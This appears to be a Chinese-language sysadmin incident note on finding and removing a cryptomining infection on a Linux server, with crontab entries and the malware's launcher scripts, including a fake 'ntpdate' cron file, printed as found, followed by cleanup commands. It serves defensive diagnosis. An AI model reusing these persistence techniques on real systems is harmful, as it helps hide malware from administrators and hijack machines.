背景
服务器CPU使用率50%,被两个进程占用,名称分别为
-mysql
zfsutils-md5sum
诊断
使用crontab -l查看定时任务,发现病毒文件-mysql
[root@server1 ~]# crontab -l
* * * * * /var/.log/-mysql > /dev/null <&1 2>&1 & disown
@monthly /var/.log/-mysql > /dev/null <&1 2>&1 & disown
@reboot /var/.log/-mysql > /dev/null <&1 2>&1 & disown
查看这个/var/.log/目录,发现更多病毒文件,-mysql是个脚本,内容如下
[root@server1 .log]# ll
total 2904
-rwxr-xr-x. 1 root root 1087356 Dec 17 2020 i686
-rwxr-xr-x. 1 root root 115 Dec 29 01:16 -mysql
-rwxr-xr-x. 1 root root 1878380 Feb 15 2021 x86_64
[root@server1 .log]# cat ./-mysql
#!/bin/bash
cd -- /var/.log
mkdir -- .-mysql
cp -f -- x86_64 .-mysql/-mysql
./.-mysql/-mysql -c
rm -rf -- .-mysql
查看/etc/crontab.daily目录,发现一个文件名为ntpdate
[root@server1 cron.hourly]# cat /etc/cron.hourly/ntpdate
#!/bin/bash
#
# Start/Stop the pwnrig clock daemon
#
# chkconfig 2345 90 60
# description: sync clock (GNU System)
cp -f -r -- /bin/sysprg /usr/bin/-mysql 2>/dev/null
cd /usr/bin/ 2>/dev/null
./-mysql -c >/dev/null
rm -rf -- -mysql 2>/dev/null
/bin/sysprg创建日期与ntupdate是同一天,文件大小与x86_64相同,无疑也是个病毒文件。
清除病毒
- 杀掉进程
- 删除crontab -e 中的内容,但是发现无法删除
[root@server1 nps]# crontab -e
crontab: installing new crontab
crontab: error renaming /var/spool/cron/#tmp.XXXXGFRvjK to /var/spool/cron/root
rename: Operation not permitted
crontab: edits left in /tmp/crontab.Bw1XGv
进入到/var/spool/cron目录查看文件权限,发现被加了保护,使用lsattr去除,再编辑删除内容即可
[root@server1 cron]# lsattr ./root
----i--------e- ./root
[root@server1 cron]# chattr -ia ./root
[root@server1 cron]# crontab -e
crontab: installing new crontab
- 清除/etc/crontab.xxx中的文件ntpdate,发现都被加了保护无法删除,同样适用lsattr进行权限去除
注意/etc/sysconfig/ntpdate不要删除
[root@server1 /etc]# chattr -ia `find . -name "ntpdate"`
[root@server1 /etc]# rm /etc/cron.daily/ntpdate
- 清除病毒文件
[root@server1 /var]# rm /var/.log -rf
[root@server1 /var]# chattr -ia /bin/sysprg
[root@server1 /var]# rm /bin/sysprg -rf
防范措施
禁用crontab
service crond stop
mv /var/spool/cron /var/spool/cron_is_disabled